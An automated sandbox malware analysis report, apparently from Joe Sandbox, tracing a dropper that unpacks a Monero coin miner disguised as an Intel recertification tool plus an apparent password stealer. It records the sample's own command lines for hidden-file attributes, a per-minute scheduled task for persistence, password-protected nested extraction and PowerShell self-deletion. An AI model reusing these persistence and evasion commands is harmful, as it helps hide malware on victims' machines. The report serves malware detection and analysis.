Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00457F36	0_2_00457F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046779B	0_2_0046779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007C8860	2_2_007C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007C7049	2_2_007C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007C78BB	2_2_007C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007C31A8	2_2_007C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00784B30	2_2_00784B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007C2D10	2_2_007C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00784DE0	2_2_00784DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007B7F36	2_2_007B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007C779B	2_2_007C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0078E530	5_2_0078E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007A6192	5_2_007A6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C8860	5_2_007C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00784B30	5_2_00784B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C2D10	5_2_007C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00784DE0	5_2_00784DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007A0E13	5_2_007A0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C7049	5_2_007C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C31A8	5_2_007C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007A1602	5_2_007A1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C779B	5_2_007C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C78BB	5_2_007C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007A3DF1	5_2_007A3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007B7F36	5_2_007B7F36
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_00405BFC	6_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040B0E0	6_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040B0E4	6_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_00419973	6_2_00419973
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040A900	6_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040A270	6_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040AC20	6_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_00409C20	6_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040D480	6_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_0040ED00	6_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_00409DD0	6_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_00419601	6_2_00419601
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_004196DB	6_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_00418F40	6_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0004F13E	10_2_0004F13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00045458	10_2_00045458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_000424C0	10_2_000424C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_000447AC	10_2_000447AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00068817	10_2_00068817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00030DCC	10_2_00030DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0002B114	10_2_0002B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0002F1B4	10_2_0002F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0003C278	10_2_0003C278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00063528	10_2_00063528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00052578	10_2_00052578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0004D66C	10_2_0004D66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0005066E	10_2_0005066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0003D858	10_2_0003D858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0004694C	10_2_0004694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_000649A5	10_2_000649A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_000599B8	10_2_000599B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_000579DC	10_2_000579DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0005FA0C	10_2_0005FA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0006DA30	10_2_0006DA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0006DC11	10_2_0006DC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00037C68	10_2_00037C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00038CA8	10_2_00038CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0006DD00	10_2_0006DD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00046E08	10_2_00046E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00028F18	10_2_00028F18
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0003AF58	10_2_0003AF58
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B17D0	23_2_002B17D0
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B1000	23_2_002B1000
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002C1A10	23_2_002C1A10
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002C0422	23_2_002C0422
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B3C05	23_2_002B3C05
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B5C52	23_2_002B5C52
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002C566E	23_2_002C566E

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe 9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004380C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00797A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007980C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007B8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: String function: 004029A6 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: String function: 002B3BC0 appears 34 times

Source: random[2].exe1.5.dr

Static PE information: No import functions for PE file found

Source: random[2].exe1.5.dr

Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 41.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 41.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981958872615804
Source: random[1].exe.5.dr	Static PE information: Section: fjjegazs ZLIB complexity 0.9943933888457192
Source: 153848897b.exe.5.dr	Static PE information: Section: fjjegazs ZLIB complexity 0.9943933888457192
Source: random[1].exe0.5.dr	Static PE information: Section: xtfxuijo ZLIB complexity 0.9943038403088318
Source: 0ef66f58de.exe.5.dr	Static PE information: Section: xtfxuijo ZLIB complexity 0.9943038403088318
Source: random[2].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9975050834760274
Source: random[2].exe.5.dr	Static PE information: Section: bpjgunit ZLIB complexity 0.9945168540956952
Source: 4fa13d4e43.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9975050834760274
Source: 4fa13d4e43.exe.5.dr	Static PE information: Section: bpjgunit ZLIB complexity 0.9945168540956952
Source: random[2].exe0.5.dr	Static PE information: Section: gsobncjc ZLIB complexity 0.9946789019389944
Source: 8b77671daf.exe.5.dr	Static PE information: Section: gsobncjc ZLIB complexity 0.9946789019389944
Source: random[1].exe2.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe2.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: f384e6dcaa.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: f384e6dcaa.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@76/47@23/10

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

6_2_00409606

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0002AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		10_2_0002AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_00031D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		10_2_00031D04

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

6_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

6_2_004092C1

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

6_2_004020BF

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 4fa13d4e43.exe, 00000027.00000003.3239836068.0000000005306000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3268474241.0000000005381000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3240562174.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3268474241.00000000052E8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 55%
Source: file.exe	ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe "C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe"
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Process created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe "C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe "C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe "C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
